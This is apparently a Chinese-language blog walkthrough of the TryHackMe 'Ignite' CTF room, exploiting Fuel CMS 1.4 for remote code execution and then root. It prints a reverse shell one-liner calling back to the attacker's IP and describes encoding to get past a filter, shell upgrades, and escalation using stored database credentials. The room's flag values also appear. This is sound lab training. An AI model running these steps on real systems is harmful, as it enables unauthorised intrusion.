Ignite – TryHackMe
Ignite – TryHackMe
一、信息收集
- 开启房间后给了我们一个ip地址,去访问看看

- 我们使用nmap对这个ip的端口进行扫描一下开开有什么开放的端口

- 这里只开放了一个80端口,访问这个网站介绍了一下是一个cms系统Fuel CMS 1.4 里面大致介绍了一下这个cms的安装指南,里面还管理员的后台地址http://10.10.149.22/fuel和账户密码

- 去后台管理看一下,在页面这里能进行文件上传

二、漏洞利用
- 现在知道这个cms版本我们使用searchsploit看看是否有这个版本的漏洞
searchsploit用来在本地搜索 Exploit-DB 漏洞利用库。
它可以帮你快速找到某个软件/服务/系统对应的已知漏洞和可利用代码(PoC/Exploit)。

- 先复制出来会在你当前目录生成

- 查看源码
nano 47138.py

- 将里面的ip更新为要攻击的靶机的ip地址,脚本默认要通过 127.0.0.1:8080 代理发送请求(通常是用来抓 BurpSuite 的包),但是你地并没有开 Burp 监听所有这里要注释掉,注意千万不要把整行删掉,只是把
, proxies=proxy去掉

- 执行我们的代码文件
python2 47138.py
如果报错了显示print r.text[0:dup]
^
SyntaxError: Missing parentheses in call to ‘print’. Did you mean print(…)?
用python2运行就好了

- 确认目标机器有没有 Bash
which bash
Bash 的作用
在 Linux 系统里:
- 命令解释器:你输入的命令都要通过 Bash 翻译成操作系统能执行的动作。
- 写脚本:可以写
.sh文件,让一系列命令自动执行。- 交互式 shell:可以让你远程操作系统,就像坐在终端前一样。
- 渗透测试常用工具:反弹 shell、执行系统命令、获取权限信息

- 接下来我们使用反弹shell生成器生成一个反弹命令shell,方便在 Kali 上操作目标机器
1 | sh -i >& /dev/tcp/10.17.35.134/4444 0>&1 |

- 在kali上启动监听端口

- 这里我在使用这条命令是时候报错了
报错信息:
1 | preg_match(): Delimiter must not be alphanumeric or backslash |
- PHP 的
preg_match()正则函数要求 正则模式的分隔符不能是字母或反斜杠。 - 你输入的命令被 Fuel CMS 的 过滤或包装成了 preg_match,导致命令中包含某些字符(比如
>、&)后触发了错误。 - 本质上,你的命令
sh -i >& /dev/tcp/10.17.35.134/4444 0>&1被 PHP 当作字符串处理,不能直接执行。
这里采用绕过特殊字符使用 URL 编码或 base64 绕过 PHP 正则过滤
1 |
|



- 浏览到“/home/www-data”目录并获取到“User.txt”文件

1 | 6470e394cbf6dab6a91682cc8585059b |
三、TTY 升级
- 我们这里使用
sudo-l这里会报错sudo默认要求 输入用户密码,当你在 反弹 shell 或 Web RCE shell 中执行sudo时,shell 没有连接到真实终端(没有 tty),系统无法提示你输入密码,所以 sudo 报错,提示没有 tty 也没有 askpass 程序。

- 我们现在要去升级 shell 并获取 tty 的命令,保证后续可以执行 sudo 或交互式命令
两种方法
方法1:分配伪终端
在 Kali 上开 nc 时:
1 | nc -lvnp 4444 |
在拿到 shell 后,按 Ctrl+Z 暂停,然后在 Kali 终端:
1 | stty raw -echo |
然后尝试:
1 | sudo -l |
- 有些系统还要求加
-S或-A方式提供密码
方法2:升级 shell 到 fully interactive shell
- 拿到 python shell:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
- 然后
Ctrl+Z+stty raw -echo+fg - 再执行 sudo
如果目标 www-data 用户 没有 sudo 权限,这条命令仍然会报错,这属于正常情况。
- 我这里使用的第二种方法成功有密码提示了,但是我们没有密码先放着

四、提权
- 在信息收集的时候看到在
**fuel/application/config/database.php**有数据库的用户名和密码,我们直接去这个文件里面看看

- 可以看到在这里显示了数据库的密码

- 现在获得密码后切换到root看看

1 | b9bbcb33e11b80be759c4e844862482d |
扩展
反弹 shell 其实是 从目标机器通过网络回连到你的 Kali,中间会经过几层限制。不同阶段的 shell,权限和功能不同:
| 阶段 | 特点 | 典型问题 |
|---|---|---|
| Stage 1:非交互式 shell(raw shell) | 直接通过 RCE 或反弹命令连回 | - 无法使用上下箭头、tab 补全- Ctrl+C 无效- 回车显示 ^M |
| Stage 2:伪交互式 shell | 通过 /bin/sh -i 或 bash -i 升级 |
- 可以输入命令,部分交互可用- 还可能缺少 tty,部分工具无法用 |
| Stage 3:Fully interactive shell (带 TTY) | 使用 Python/pty.spawn 或 Ctrl+Z + stty raw | - 完全像正常登录一样- 支持 sudo、编辑器、top 等交互工具 |
为什么要有“阶段升级”
- 最开始拿到的 shell通常是非常原始的
- Fuel CMS RCE 或 web shell 执行命令时,系统不会自动分配 tty
- 只能执行简单命令,例如
whoami、id
- 部分操作必须要交互式终端
- 提权(
sudo -l) - 上传/下载文件
- 使用交互式工具(
nano,htop)
- 提权(
- 升级 shell的方式
/bin/bash -i→ bash interactivepython -c 'import pty; pty.spawn("/bin/bash")'→ fully interactive, 带 tty- Ctrl+Z +
stty raw -echo+ fg → 在有 tty 时升级
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 0xMouise!







